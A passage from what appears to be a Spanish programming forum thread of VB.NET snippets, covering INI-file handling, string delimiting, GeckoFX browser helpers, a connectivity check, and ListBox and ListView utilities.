''' <param name="RemoveEmptyLines">Remove empty lines.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Sort(Optional ByVal RemoveEmptyLines As Boolean = False,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then Return False
[File].[Get](Encoding)
Select Case Section.Has(Encoding)
Case True ' initialization file contains at least one Section.
SortedSection.Clear()
SortedSections.Clear()
Section.GetNames(Encoding) ' Get the (sorted) section names
For Each name As String In SectionNames
SortedSection = Section.[Get](name, Encoding) ' Get the single section lines.
If RemoveEmptyLines Then ' Remove empty lines.
SortedSection = SortedSection.Where(Function(line) _
Not String.IsNullOrEmpty(line) AndAlso
Not String.IsNullOrWhiteSpace(line)).ToList
End If
SortedSection.Sort() ' Sort the single section keys.
SortedSections.Add(name) ' Add the section name to the sorted sections list.
SortedSections.AddRange(SortedSection) ' Add the single section to the sorted sections list.
Next name
Content = SortedSections
Case False ' initialization file doesn't contains any Section.
Content.Sort()
If RemoveEmptyLines Then
Content = Content.Where(Function(line) _
Not String.IsNullOrEmpty(line) AndAlso
Not String.IsNullOrWhiteSpace(line)).ToList
End If
End Select ' Section.Has()
' Save changes.
Return [File].Write(Content, Encoding)
End Function
''' <summary>
''' Writes a new initialization file with the specified text content..
''' </summary>
''' <param name="Content">Indicates the text content to write in the initialization file.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Write(ByVal Content As List(Of String),
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
Try
IO.File.WriteAllLines(FilePath,
Content,
If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
Catch ex As Exception
Throw
Return False
End Try
Return True
End Function
End Class
Public Class [Key]
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub Equals()
End Sub
''' <summary>
''' Return a value indicating whether a key name exist or not.
''' </summary>
''' <param name="KeyName">Indicates the key name that contains the value to modify.</param>
''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
''' <param name="Encoding">The Text encoding to write the initialization file.</param>
''' <returns>True if the key name exist, otherwise False.</returns>
Public Shared Function Exist(ByVal KeyName As String,
Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then Return False
[File].[Get](Encoding)
[Key].GetIndex(KeyName, SectionName)
Select Case SectionName Is Nothing
Case True
Return Convert.ToBoolean(Not KeyIndex)
Case Else
Return Convert.ToBoolean(Not (KeyIndex + SectionStartIndex))
End Select
End Function
''' <summary>
''' Set the value of an existing key name.
'''
''' If the initialization file doesn't exists, or else the Key doesn't exist,
''' or else the Section parameter is not specified and the key name doesn't exist;
''' then the 'key=value' is appended to the end of the initialization file.
'''
''' if the specified Section name exist but the Key name doesn't exist,
''' then the 'key=value' is appended to the end of the Section.
'''
''' </summary>
''' <param name="KeyName">Indicates the key name that contains the value to modify.</param>
''' <param name="Value">Indicates the new value.</param>
''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
''' <param name="Encoding">The Text encoding to write the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function [Set](ByVal KeyName As String,
ByVal Value As String,
Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then [File].Create()
[File].[Get](Encoding)
[Key].GetIndex(KeyName, SectionName)
' If KeyName is not found and indicated Section is found, then...
If KeyIndex = -1 AndAlso SectionEndIndex <> -1 Then
' If section EndIndex is the last line of file, then...
If SectionEndIndex = Content.Count Then
Content(Content.Count - 1) = Content(Content.Count - 1) &
Environment.NewLine &
String.Format("{0}={1}", KeyName, Value)
Else ' If not section EndIndex is the last line of file, then...
Content(SectionEndIndex) = String.Format("{0}={1}", KeyName, Value) &
Environment.NewLine &
Content(SectionEndIndex)
End If
' If KeyName is found then...
ElseIf KeyIndex <> -1 Then
Content(KeyIndex) = String.Format("{0}={1}", KeyName, Value)
' If KeyName is not found and Section parameter is passed. then...
ElseIf KeyIndex = -1 AndAlso SectionName IsNot Nothing Then
Content.Add(SectionName)
Content.Add(String.Format("{0}={1}", KeyName, Value))
' If KeyName is not found, then...
ElseIf KeyIndex = -1 Then
Content.Add(String.Format("{0}={1}", KeyName, Value))
End If
' Save changes.
Return [File].Write(Content, Encoding)
End Function
''' <summary>
''' Get the value of an existing key name.
''' If the initialization file or else the Key doesn't exist then a 'Nothing' object is returned.
''' </summary>
''' <param name="KeyName">Indicates the key name to retrieve their value.</param>
''' <param name="DefaultValue">Indicates a default value to return if the key name is not found.</param>
''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
Public Shared Function [Get](ByVal KeyName As String,
Optional ByVal DefaultValue As Object = Nothing,
Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Object
If Not [File].Exist() Then Return DefaultValue
[File].[Get](Encoding)
[Key].GetIndex(KeyName, SectionName)
Select Case KeyIndex
Case Is <> -1 ' KeyName found.
Return Content(KeyIndex).Substring(Content(KeyIndex).IndexOf("=") + 1)
Case Else ' KeyName not found.
Return DefaultValue
End Select
End Function
''' <summary>
''' Returns the initialization file line index of the key name.
''' </summary>
''' <param name="KeyName">Indicates the Key name to retrieve their value.</param>
''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
Private Shared Sub GetIndex(ByVal KeyName As String,
Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing)
If Content Is Nothing Then [File].Get(Encoding)
' Reset the INI index elements to negative values.
KeyIndex = -1
SectionStartIndex = -1
SectionEndIndex = -1
If SectionName IsNot Nothing AndAlso Not SectionName Like "[[]?*[]]" Then
Throw New SectionNameInvalidFormatException
Exit Sub
End If
' Locate the KeyName and set their element index.
' If the KeyName is not found then the value is set to "-1" to return an specified default value.
Select Case String.IsNullOrEmpty(SectionName)
Case True ' Any SectionName parameter is specified.
KeyIndex = Content.FindIndex(Function(line) line.StartsWith(String.Format("{0}=", KeyName),
StringComparison.InvariantCultureIgnoreCase))
Case False ' SectionName parameter is specified.
Select Case Section.Has(Encoding)
Case True ' INI contains at least one Section.
SectionStartIndex = Content.FindIndex(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode))
If SectionStartIndex = -1 Then ' Section doesn't exist.
Exit Sub
End If
SectionEndIndex = Content.FindIndex(SectionStartIndex + 1, Function(line) line.Trim Like "[[]?*[]]")
If SectionEndIndex = -1 Then
' This fixes the value if the section is at the end of file.
SectionEndIndex = Content.Count
End If
KeyIndex = Content.FindIndex(SectionStartIndex, SectionEndIndex - SectionStartIndex,
Function(line) line.StartsWith(String.Format("{0}=", KeyName),
StringComparison.InvariantCultureIgnoreCase))
Case False ' INI doesn't contains Sections.
GetIndex(KeyName, , Encoding)
End Select ' Section.Has()
End Select ' String.IsNullOrEmpty(SectionName)
End Sub
''' <summary>
''' Remove an existing key name.
''' </summary>
''' <param name="KeyName">Indicates the key name to retrieve their value.</param>
''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Remove(ByVal KeyName As String,
Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then Return False
[File].[Get](Encoding)
[Key].GetIndex(KeyName, SectionName)
Select Case KeyIndex
Case Is <> -1 ' Key found.
' Remove the element containing the key name.
Content.RemoveAt(KeyIndex)
' Save changes.
Return [File].Write(Content, Encoding)
Case Else ' KeyName not found.
Return False
End Select
End Function
End Class
Public Class Section
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub Equals()
End Sub
''' <summary>
''' Adds a new section at bottom of the initialization file.
''' </summary>
''' <param name="SectionName">Indicates the Section name to add.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Add(Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then [File].Create()
If Not SectionName Like "[[]?*[]]" Then
Throw New SectionNameInvalidFormatException
Exit Function
End If
[File].[Get](Encoding)
Select Case Section.GetNames(Encoding).Where(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode)).Any
Case False ' Any of the existing Section names is equal to given section name.
' Add the new section name.
Content.Add(SectionName)
' Save changes.
Return [File].Write(Content, Encoding)
Case Else ' An existing Section name is equal to given section name.
Return False
End Select
End Function
''' <summary>
''' Returns all the keys and values of an existing Section Name.
''' </summary>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <param name="SectionName">Indicates the section name where to retrieve their keynames and values.</param>
Public Shared Function [Get](ByVal SectionName As String,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As List(Of String)
If Content Is Nothing Then [File].Get(Encoding)
SectionStartIndex = Content.FindIndex(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode))
SectionEndIndex = Content.FindIndex(SectionStartIndex + 1, Function(line) line.Trim Like "[[]?*[]]")
If SectionEndIndex = -1 Then
SectionEndIndex = Content.Count ' This fixes the value if the section is at the end of file.
End If
Return Content.GetRange(SectionStartIndex, SectionEndIndex - SectionStartIndex).Skip(1).ToList
End Function
''' <summary>
''' Returns all the section names of the initialization file.
''' </summary>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
Public Shared Function GetNames(Optional ByVal Encoding As System.Text.Encoding = Nothing) As String()
If Content Is Nothing Then [File].Get(Encoding)
' Get the Section names.
SectionNames = (From line In Content Where line.Trim Like "[[]?*[]]").ToArray
' Sort the Section names.
If SectionNames.Count <> 0 Then Array.Sort(SectionNames)
' Return the Section names.
Return SectionNames
End Function
''' <summary>
''' Gets a value indicating whether the initialization file contains at least one Section.
''' </summary>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the INI contains at least one section, otherwise False.</returns>
Public Shared Function Has(Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Content Is Nothing Then [File].Get(Encoding)
Return (From line In Content Where line.Trim Like "[[]?*[]]").Any()
End Function
''' <summary>
''' Removes an existing section with all of it's keys and values.
''' </summary>
''' <param name="SectionName">Indicates the Section name to remove with all of it's key/values.</param>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Remove(Optional ByVal SectionName As String = Nothing,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
If Not [File].Exist() Then Return False
If Not SectionName Like "[[]?*[]]" Then
Throw New SectionNameInvalidFormatException
Exit Function
End If
[File].[Get](Encoding)
Select Case [Section].GetNames(Encoding).Where(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode)).Any
Case True ' An existing Section name is equal to given section name.
' Get the section StartIndex and EndIndex.
[Get](SectionName)
' Remove the section range index.
Content.RemoveRange(SectionStartIndex, SectionEndIndex - SectionStartIndex)
' Save changes.
Return [File].Write(Content, Encoding)
Case Else ' Any of the existing Section names is equal to given section name.
Return False
End Select
End Function
End Class
#End Region
End Class
#End Region
Una función de uso genérico para delimitar un string, es decir, para tomar una porción dell texto (solo una).
#Region " Delimit String "
' [ Delimit String ]
'
' // By Elektro H@ker
'
' Result: my new house today
' MsgBox(Delimit_String("Welcome to my new house today", "to"))
' Result: my new house
' MsgBox(Delimit_String("Welcome to my new house today", "to", "today"))
' Result: my new house
' MsgBox(Delimit_String("Welcome to my new house today", "TO", "tODaY", RegexOptions.IgnoreCase))
' Result: my new house
' MsgBox(Delimit_String("Welcome to my new house today", "to", "to", RegexOptions.IgnoreCase Or RegexOptions.RightToLeft))
' Result: Nothing (No IgnoreCase specified.)
' MsgBox(Delimit_String("Welcome to my new house today", "TO", "HoUSe"))
' Result: Nothing (Second delimiter is not found.)
' MsgBox(Delimit_String("Welcome to my new house today", "to", "tokyo", ))
''' <summary>
''' Delimit a String using Start/End delimiters.
''' </summary>
''' <param name="str">Indicates the String to delimit.</param>
''' <param name="Delimiter_A">A delimiter used to indicate the end of the string.</param>
''' <param name="Delimiter_B">An optional delimiter used to indicate the end of the string produced by the first delimiter.</param>
''' <param name="Options">Indicates options such as IgnoreCase or to start splitting from RightToLeft.</param>
Private Function Delimit_String(ByVal str As String,
ByVal Delimiter_A As String,
Optional ByVal Delimiter_B As String = "",
Optional ByVal Options As RegexOptions = RegexOptions.None) As String
Dim rgx1 As New Regex(Delimiter_A, Options)
Dim rgx2 As New Regex(Delimiter_B, Options)
Dim m1 = rgx1.Match(str)
Select Case Options.ToString.Contains(RegexOptions.RightToLeft.ToString)
Case False ' Left To Right
str = str.Substring(m1.Index + m1.Length)
Case True ' Right To Left
str = str.Substring(0, m1.Index)
End Select
Dim m2 = rgx2.Match(str)
If Not String.IsNullOrWhiteSpace(Delimiter_B) Then
Select Case Options.ToString.Contains(RegexOptions.RightToLeft.ToString)
Case False ' Left To Right
str = str.Substring(0, m2.Index)
Case True ' Right To Left
str = str.Substring(m2.Index + m2.Length)
End Select
End If
Return str
End Function
#End Region
Control Iterator
Recolecta uno o varios controles y realiza una operación específica en ellos.
Le añadí decenas de overloads y métodos, el código es bien largo: http://pastebin.com/ypuQdKf0
Ejemplos de uso:
ControlIterator.Disable(CheckBox1)
ControlIterator.Enable({CheckBox1, CheckBox2})
ControlIterator.Check(Of CheckBox)(Me)
ControlIterator.Uncheck(Of CheckBox)(Me.GroupBox1)
ControlIterator.Hide(Of CheckBox)("1")
ControlIterator.PerformAction(Of CheckBox)(Sub(ctrl As CheckBox) ctrl.Visible = True)
ControlIterator.AsyncPerformAction(RichTextBox1,
Sub(rb As RichTextBox)
For n As Integer = 0 To 9
rb.AppendText(CStr(n))
Next
End Sub)
Unos snippets para el control GeckoFX https://bitbucket.org/geckofx/ la cual necesita (una versión específica de) XulRunner http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/
- Navega a una url y espera a que la página se haya cargado complétamente.
' [GeckoFX] - Navigate And Wait
'
' // By Elektro H@cker
'
' Usage Examples:
' NavigateAndWait(GeckoWebBrowser1, "www.google.com") : MsgBox("Page fully loaded!")
Private WebPageLoaded As Boolean = False
''' <summary>
''' Navigates to an url and waits the page to be loaded.
''' </summary>
''' <param name="url">Indicates the url to navigate.</param>
Public Sub NavigateAndWait(Byval Browser as Gecko.GeckoWebBrowser,
Byval url As String,
Optional loadFlags As Gecko.GeckoLoadFlags = Gecko.GeckoLoadFlags.None,
Optional referrer As String = Nothing,
Optional postData As Gecko.GeckoMIMEInputStream = Nothing)
Me.WebPageLoaded = False
AddHandler Browser.DocumentCompleted, AddressOf GeckoWebBrowserDocumentCompleted
Browser.Navigate(url, loadFlags, referrer, postData)
Do Until Me.WebPageLoaded
Application.DoEvents()
Loop
RemoveHandler Browser.DocumentCompleted, AddressOf GeckoWebBrowserDocumentCompleted
End Sub
' GeckoWebBrowser [DocumentCompleted]
Private Sub GeckoWebBrowserDocumentCompleted(ByVal sender As Object, e As EventArgs)
Me.WebPageLoaded = True
End Sub
- Elimina todas las cookies que haya generado el navegador
' [GeckoFX] - Remove All Cookies
Private Sub RemoveAllCookies()
Dim CookieMan As nsICookieManager2
CookieMan = Xpcom.GetService(Of nsICookieManager2)("@mozilla.org/cookiemanager;1")
CookieMan = Xpcom.QueryInterface(Of nsICookieManager2)(CookieMan)
CookieMan.RemoveAll()
End Sub
- Establece algunas preferencias interesantes del navegador
Private Sub SetNavigatorPreferences()
' Pipelining reduces network load and can reduce page loading times over high-latency connections,
' but not all servers support it.
' Some servers may even behave incorrectly if they receive pipelined requests.
' If a proxy server is not configured, this preference controls whether to attempt to use pipelining.
' Value = Attempt to use pipelining in HTTP 1.1 connections or not.
Gecko.GeckoPreferences.Default("network.http.pipelining") = True
' Many problems with pipelining are related to broken proxy servers sitting between the user and the destination web site.
' Since this is not a problem with SSL, it is possible to turn on pipelining for SSL websites only.
' This preference controls whether to use pipelining for secure websites, regardless of network.http.pipelining.
' Value = Use HTTP pipelining for secure websites or not.
Gecko.GeckoPreferences.Default("network.http.pipelining.ssl") = True
' Value = The maximum number of requests to pipeline at once when pipelining is enabled.
Gecko.GeckoPreferences.Default("network.http.pipelining.maxrequests") = 10
' Value = Total number of HTTP connections the application can make to a single server.
Gecko.GeckoPreferences.Default("network.http.max-connections-per-server") = 20
' HTTP keep-alive connections can be re-used for multiple requests,
' as opposed to non-keep-alive connections, which are limited to one request.
' Using keep-alive connections improves performance.
' Value = The maximum number of HTTP keep-alive connections the application can have open at once to a single server. (Default: 2)
Gecko.GeckoPreferences.Default("network.http.max-persistent-connections-per-server") = 5
' Display what's been received of a page before the entire page has been downloaded.
' Value = The number of milliseconds to wait before first displaying the page. (Default: 250)
Gecko.GeckoPreferences.Default("nglayout.initialpaint.delay") = 0
' Value = Attempt to use pipelining in HTTP 1.1 connections to the proxy server or not.
Gecko.GeckoPreferences.Default("network.http.proxy.pipelining") = True
' Rather than wait until a page has completely downloaded to display it to the user,
' Mozilla applications will periodically render what has been received to that point.
' Because reflowing the page every time additional data is received greatly slows down total page load time,
' a timer was added so that the page would not reflow too often.
' Value = The maximum number of times the content will do timer-based reflows.
' After this number has been reached, the page will only reflow once it is finished downloading.
Gecko.GeckoPreferences.Default("content.notify.backoffcount") = 5
' Value = Displays the full path of a installed plugin file or not.
Gecko.GeckoPreferences.Default("plugin.expose_full_path") = True
' Value = The delay in milliseconds between hovering over a menu option with a submenu and the submenu appearing.
Gecko.GeckoPreferences.Default("ui.submenuDelay") = 0
' Pages that were recently visited are stored in memory in such a way that they don't have to be re-parsed (this is different from the memory cache).
' This improves performance when pressing Back and Forward.
' Value = The maximum number of pages stored in memory.
Gecko.GeckoPreferences.Default("Browser.sessionhistory.max_total_viewers") = 5
' Value = The maximum number of pages in the browser's session history,
' the maximum number of URLs you can traverse purely through the Back/Forward buttons. Default value is 50.
Gecko.GeckoPreferences.Default("Browser.sessionhistory.max_entries") = 60
' When a program is minimized and left for a period of time,
' Windows will swap memory the program is using from RAM onto the hard disk in anticipation that other programs might need RAM.
' Value = Determines whether to mark memory as preferably swappable, from a minimized Mozilla Windows application.
Gecko.GeckoPreferences.Default("config.trim_on_minimize") = True
' Mozilla applications will periodically retrieve a blocklist from the server specified in extensions.blocklist.url.
' While Mozilla 's add-on system is a powerful feature, it can also be a vector for malware.
' Specific extensions can be blocklisted from a central server (by default, addons.mozilla.org).
' Value = Determines wheter to retrieve a blocklist to restrict extension installation.
Gecko.GeckoPreferences.Default("extensions.blocklist.enabled") = False
End Sub
Para comprobar si la conectividad a una web está disponible y mostrar un mensaje de Status en un control...
Ejemplo de uso:
Private Sub Test()
MsgBox(Is_Connectivity_Avaliable("Google.com"))
Dim t As New Threading.Thread(AddressOf CheckConnectivity)
t.Start()
End Sub
Private Sub CheckConnectivity()
Do Until Is_Connectivity_Avaliable("qwertyqwertyqwerty.com", 10, Label1)
Application.DoEvents()
Loop
End Sub
Private Function Is_Connectivity_Avaliable(ByVal url As String,
Optional ByVal RetryInterval As Integer = -1,
Optional ByVal StatusControl As Control = Nothing) As Boolean
Dim NoNetworkMessage As String = "Network connection is not avaliable."
Dim NoWebsiteMessage As String = "WebSite is not avaliable."
Dim NoNetworkRetryMessage As String = "Network connection is not avaliable, retrying in {0} seconds..."
Dim NoWebsiteRetryMessage As String = "WebSite is not avaliable, retrying in {0} seconds..."
Dim YesNetworkMessage As String = "Network connection established."
Dim YesWebsiteMessage As String = "WebSite connection established."
Select Case My.Computer.Network.IsAvailable
Case False ' No network device avaliable
If RetryInterval = -1 Then ' Do not retry
NetworkAvaliable(NoNetworkMessage, False, StatusControl)
Return False
Else ' Retry
For X As Integer = 0 To RetryInterval
NetworkAvaliable(String.Format(NoNetworkRetryMessage, RetryInterval - X), True, StatusControl)
Next X
Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
End If ' RetryInterval
Case True ' Network device is avaliable
' Inform that network device is avaliable.
NetworkAvaliable(YesNetworkMessage, False, StatusControl)
Try ' Try connect to the given url
My.Computer.Network.Ping(url)
' Inform that Website connection is avaliable.
NetworkAvaliable(YesWebsiteMessage, False, StatusControl)
Return True
Catch ex As Net.NetworkInformation.PingException
If RetryInterval = -1 Then ' Do not retry
NetworkAvaliable(NoWebsiteMessage, False, StatusControl)
Return False
Else ' Retry
For X As Integer = 0 To RetryInterval
NetworkAvaliable(String.Format(NoWebsiteRetryMessage, RetryInterval - X), True, StatusControl)
Next X
Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
End If ' RetryInterval
Catch ex As InvalidOperationException
If RetryInterval = -1 Then ' Do not retry
NetworkAvaliable(NoNetworkMessage, False, StatusControl)
Return False
Else ' Retry
For X As Integer = 0 To RetryInterval
NetworkAvaliable(String.Format(NoNetworkRetryMessage, RetryInterval - X), True, StatusControl)
Next
Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
End If ' RetryInterval
End Try
End Select
End Function
Private Sub NetworkAvaliable(ByVal Message As String,
ByVal Wait As Boolean,
Optional ByVal StatusControl As Control = Nothing)
If Wait Then Threading.Thread.Sleep(1000)
If StatusControl IsNot Nothing Then
StatusControl.Invoke(Sub() StatusControl.Text = Message)
Else
Debug.WriteLine(Message)
End If
End Sub
Un snippet para colorear los elementos de un Listbox, esto lo posteé hace tiempo pero lo he extendido...
#Region " [ListBox] Colorize Items "
' [ [ListBox] Colorize Items ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Set ListBox "Drawmode" property to "OwnerDrawFixed" to make this work.
' ListBox1.DrawMode = DrawMode.OwnerDrawFixed
'
' Examples :
'
' Colorize only selected item:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.Selected, Brushes.YellowGreen, Brushes.Black)
'
' Colorize all Non-Selected items
' Colorize_Item(ListBox1, Colorize_ListBox_Items.Non_Selected, Brushes.Red, Brushes.YellowGreen)
'
' Colorize all items:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.All, Brushes.Yellow, Brushes.Yellow)
'
' Colorize any item:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.None, Nothing, Nothing)
'
' Colorize specific items:
' Colorize_Item(ListBox1, {0, (ListBox1.Items.Count \ 2), (ListBox1.Items.Count - 1)}, Brushes.HotPink, Nothing)
' Stores the brush colors to paint their items
Private ListBox_BackColor As Brush = Brushes.YellowGreen
Private ListBox_ForeColor As Brush = Brushes.Black
Private Enum ListBoxItems As Short
Selected = 0
Non_Selected = 1
All = 2
None = 3
End Enum
''' <summary>
''' Colorizes the items of a ListBox.
''' </summary>
''' <param name="ListBox">Indicates the ListBox control.</param>
''' <param name="Colorize">Indicates the items to colorize them.</param>
''' <param name="BackColor">Indicates the backcolor for the colorized items.</param>
''' <param name="Forecolor">Indicates the forecolor for the colorized items.</param>
Private Sub Colorize_Item(ByVal ListBox As ListBox, _
ByVal Colorize As ListBoxItems, _
ByVal BackColor As Brush,
ByVal Forecolor As Brush)
' Stores the Enum value
ListBox.Tag = Colorize.ToString
ListBox_BackColor = BackColor
ListBox_ForeColor = Forecolor
End Sub
''' <summary>
''' Colorizes the items of a ListBox.
''' </summary>
''' <param name="ListBox">Indicates the ListBox control.</param>
''' <param name="Colorize">Indicates the items to colorize them.</param>
''' <param name="BackColor">Indicates the backcolor for the colorized items.</param>
''' <param name="Forecolor">Indicates the forecolor for the colorized items.</param>
Private Sub Colorize_Item(ByVal ListBox As ListBox,
ByVal Colorize As Integer(),
ByVal BackColor As Brush,
ByVal Forecolor As Brush)
' Stores the index items
ListBox.Tag = String.Join(Convert.ToChar(Keys.Space), Colorize)
ListBox_BackColor = BackColor
ListBox_ForeColor = Forecolor
End Sub
' ListBox [DrawItem]
Private Sub ListBox_DrawItem(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
Handles ListBox_Genres.DrawItem
e.DrawBackground()
Select Case sender.tag
Case ListBoxItems.Selected.ToString ' Colorize Selected Items
If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
Else
Using b As New SolidBrush(e.ForeColor)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
End Using
End If
Case ListBoxItems.Non_Selected.ToString ' Colorize Non-Selected Items
If (e.State And DrawItemState.Selected) = DrawItemState.None Then
e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
Else
Using b As New SolidBrush(e.ForeColor)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
End Using
End If
Case ListBoxItems.All.ToString ' Colorize all
e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
Case ListBoxItems.None.ToString ' Colorize none
Using b As New SolidBrush(ListBox.DefaultBackColor)
e.Graphics.FillRectangle(b, e.Bounds)
End Using
Using b As New SolidBrush(ListBox.DefaultForeColor)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
End Using
Case Else ' Colorize at specific index
If Not String.IsNullOrEmpty(sender.tag) _
AndAlso sender.tag.ToString.Split.Contains(CStr(e.Index)) Then
e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
Else
Using b As New SolidBrush(e.ForeColor)
e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
End Using
End If
End Select
e.DrawFocusRectangle()
End Sub
#End Region
Otro snippet que he extendido, para ordenar los los items de un ListView:
''' <summary>
''' Sorts the column content of a ListView.
''' </summary>
''' <param name="LV">Indicates the ListView to sort.</param>
''' <param name="Column">Indicates the columnd to index.</param>
''' <param name="Order">Indicates the sort order.</param>
Private Sub SortListView(ByVal LV As ListView,
ByVal Column As Integer,
ByVal Order As SortOrder)
LV.ListViewItemSorter = New ListViewSorter(Column, Order)
LV.Sort()
End Sub
' ListView [ColumnClick]
Private Sub ListView_ColumnClick(ByVal sender As Object, ByVal e As ColumnClickEventArgs) _
Handles ListView1.ColumnClick
If String.IsNullOrEmpty(sender.Columns.Item(0).Tag) Then
sender.Columns.Item(0).Tag = SortOrder.Ascending.ToString
Else
sender.Columns.Item(0).Tag =
[Enum].GetValues(GetType(SortOrder)).
Cast(Of Integer).
Where(Function(n) n <> [Enum].Parse(GetType(SortOrder), sender.Columns.Item(0).Tag)).
First()
End If
SortListView(sender, e.Column, [Enum].Parse(GetType(SortOrder), sender.Columns.Item(0).Tag))
End Sub
#Region " ListViewSorter "
Public Class ListViewSorter : Implements IComparer
Private ColumnIndex As Integer
Private SortOrder As SortOrder
Public Sub New(ByVal ColumnIndex As Integer,
ByVal SortOrder As SortOrder)
Me.ColumnIndex = ColumnIndex
Me.SortOrder = SortOrder
End Sub
Public Function Sort(ByVal x As Object,
ByVal y As Object) As Integer _
Implements IComparer.Compare
Dim item_x As ListViewItem = DirectCast(x, ListViewItem)
Dim item_y As ListViewItem = DirectCast(y, ListViewItem)
Dim string_x As String
Dim string_y As String
string_x = If(Not item_x.SubItems.Count <= ColumnIndex,
item_x.SubItems(ColumnIndex).Text,
"")
string_y = If(Not item_y.SubItems.Count <= ColumnIndex,
item_y.SubItems(ColumnIndex).Text,
"")
Select Case SortOrder
Case SortOrder.Ascending
If Double.TryParse(string_x, New Double) AndAlso Double.TryParse(string_y, New Double) Then
Return Double.Parse(string_x).CompareTo(Double.Parse(string_y))
ElseIf Date.TryParse(string_x, New Date) AndAlso Date.TryParse(string_y, New Date) Then
Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y))
Else
Return String.Compare(string_x, string_y, False)
End If
Case Else
If Double.TryParse(string_x, New Double) AndAlso Double.TryParse(string_y, New Double) Then
Return Double.Parse(string_y).CompareTo(Double.Parse(string_x))
ElseIf Date.TryParse(string_x, New Date) AndAlso Date.TryParse(string_y, New Date) Then
Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x))
Else
Return String.Compare(string_y, string_x, False)
End If
End Select
End Function
End Class
#End Region
Elektro Listbox, un ListBox User Control para WindowsForms.
Características:
· Estado ReadOnly, al activarse no se podrá seleccionar ningún item, pero a diferencia del estado Disabled se podrá seguir usando la scrollbar.
· Propiedades para especificar un color para los items seleccionados/deseleccionados en diferentes estados (Enabled / Disabled / ReadOnly)
· Método para seleccionar múltiples items sin saltar a la posición del item como sucede con el ListBox por defecto.
· Método para comprobar si existen duplicados en los items.
· Método para eliminar los items duplicados.
· Método para Seleccionar/Deseleccionar todos los items de una vez.
Una imagen:
(http://i.stack.imgur.com/k0iwi.jpg)
Que lo disfruteis.
EDITO: Código extendido y mejorado.
' /* *\
' |#* Elektro ListBox *#|
' \* *************** */
'
' // By Elektro H@cker
'
' -----------
' Properties:
' -----------
'
' ReadOnly
